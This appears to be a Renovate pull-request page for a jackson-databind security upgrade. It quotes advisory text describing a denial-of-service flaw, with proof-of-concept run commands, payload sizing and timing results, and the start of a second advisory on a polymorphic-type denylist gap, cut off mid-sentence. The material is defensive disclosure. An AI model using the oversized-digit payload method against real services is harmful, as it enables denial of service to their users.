ANN="$M2/com/fasterxml/jackson/core/jackson-annotations/2.22/jackson-annotations-2.22.jar"
CP="$DB:$CORE:$ANN"

#####   If not already cached, fetch them once, e.g.:
#####   mvn -q dependency:get -Dartifact=tools.jackson.core:jackson-databind:3.2.1

#####   (jackson-core 3.2.1 and jackson-annotations 2.22 come as transitive deps)

##### 1. Compile with javac (single source file).
mkdir -p out
javac -cp "$CP" -d out src/main/java/com/poc/Vuln07_DurationDoS.java

##### 2. Quick confirmation (~11 s): 1,000,000-digit year component.
java -Xmx2g -Ddigits=1000000 -cp "out:$CP" com.poc.Vuln07_DurationDoS

##### 3. Full-severity demonstration (~293 s): 5,000,000-digit year component.
java -Xmx2g -Ddigits=5000000 -cp "out:$CP" com.poc.Vuln07_DurationDoS

The digits system property controls the number of 9 characters in the year component; JSON payload size ≈ digits + 12 bytes. Increase toward the default 100,000,000 maxStringLength to scale cost further.

Environment used for the evidence below: jackson-databind 3.2.1, jackson-core 3.2.1, jackson-annotations 2.22; OpenJDK 25 on macOS (darwin), default JsonMapper.builder().build().

Reproduction Evidence

Deterministic values (payload byte count, resulting bit-length) are exact across runs; timings vary with load. Two independent runs at different sizes:

digits = 5,000,000 (~5 MB payload):

Baseline (P1Y) parse: 27 ms
Payload JSON size ~ 5000012 bytes (year component = 5000000 digits)
Parsed giant Duration in 293175 ms; years field type materialized as BigInteger
RESULT: VULNERABLE - 5000000-digit BigInteger parsed from a 5000012-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed)

digits = 1,000,000 (~1 MB payload, for fast repeatability):

Baseline (P1Y) parse: 53 ms
Payload JSON size ~ 1000012 bytes (year component = 1000000 digits)
Parsed giant Duration in 11155 ms; years field type materialized as BigInteger
RESULT: VULNERABLE - 1000000-digit BigInteger parsed from a 1000012-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed)

Interpretation: a normal "P1Y" value parses in tens of milliseconds; a ~1 MB attacker payload consumes ~11 s and a ~5 MB payload ~293 s of single-thread CPU — a 5–6 order-of-magnitude amplification. The super-linear growth (≈26× cost for 5× payload) is consistent with the JDK's O(n²) BigInteger(String) constructor. The cost occurs inside DatatypeFactory.newDuration, downstream of jackson-core's StreamReadConstraints (independently confirmed: the same digit sequence supplied as a bare JSON number token is rejected with StreamConstraintsException, whereas inside a string token it is not bounded).

Impact

An unauthenticated attacker can stall a request-processing thread for tens of seconds to minutes and allocate a large BigInteger/BigDecimal from a single small request. Because the cost is CPU-bound and super-linear, a handful of concurrent requests can saturate the server's worker threads and CPU, denying service to all users. The exposure requires only that a bound type expose a javax.xml.datatype.Duration or XMLGregorianCalendar field common in applications that ingest XML-schema derived data, SOAP/JAXB-adjacent models, or configuration carrying XSD durations — and fires under the default mapper with no polymorphic typing.

Recommended Fix

Apply the same validate-length-then-parse idiom the core NumberDeserializers already use:

  1. In CoreXMLDeserializers.Std._deserialize, enforce a maximum raw-string length before
    calling newDuration(value) / newXMLGregorianCalendar(value) — e.g. reject inputs
    longer than ctxt.streamReadConstraints().getMaxNumberLength() (or a dedicated bound),
    routing over-length input through ctxt.handleWeirdStringValue(...).
  2. Alternatively, validate the lexical form against a bounded regex and cap the digit count
    of each numeric component before delegating to DatatypeFactory.
  3. Document that Duration / XMLGregorianCalendar fields bound from untrusted input must
    be length-limited at the transport layer.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind: Comparable missing from DefaultBaseTypeLimitingValidator's unsafe base types (incomplete PolymorphicTypeValidator denylist)

CVE-2026-83557 / GHSA-gx83-3vf8-gh7j

More information

Details

Summary

DefaultBaseTypeLimitingValidator — the PolymorphicTypeValidator used automatically whenever @JsonTypeInfo is applied without an explicitly configured custom validator — denies polymorphic resolution only for nine specific "unsafe base types" (Object, Serializable, Closeable, AutoCloseable, Cloneable, Runnable, java.util.logging.Handler, javax.naming.Referenceable, javax.sql.DataSource). Its isSafeSubType() returns true unconditionally for every other base type. java.lang.Comparable is not in that list, despite being implemented by a very large fraction of JDK and application classes — comparable in breadth to Serializable, which is denylisted for exactly that reason. An application with an @JsonTypeInfo-annotated Comparable-

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@renovate renovate Bot changed the title feat(deps): update dependencies com.fasterxml.jackson.core:jackson-databind from v2.20.0 to v2.22.0 [security] feat(deps): update dependencies com.fasterxml.jackson.core:jackson-databind from v2.20.0 to v2.21.4 [security] Jun 30, 2026
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renovate Bot force-pushed the renovate/maven-com.fasterxml.jackson.core-jackson-databind-vulnerability branch from 4828490 to d9c295d Compare July 17, 2026 11:55
@renovate renovate Bot changed the title feat(deps): update dependencies com.fasterxml.jackson.core:jackson-databind from v2.20.0 to v2.21.4 [security] feat(deps): update dependencies com.fasterxml.jackson.core:jackson-databind from v2.20.0 to v2.21.5 [security] Jul 17, 2026
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@renovate
renovate Bot force-pushed the renovate/maven-com.fasterxml.jackson.core-jackson-databind-vulnerability branch from d9c295d to 4f14df9 Compare September 28, 2026 21:40
@renovate renovate Bot changed the title feat(deps): update dependencies com.fasterxml.jackson.core:jackson-databind from v2.20.0 to v2.21.5 [security] feat(deps): update dependencies com.fasterxml.jackson.core:jackson-databind from v2.20.0 to v2.21.6 [security] Sep 28, 2026
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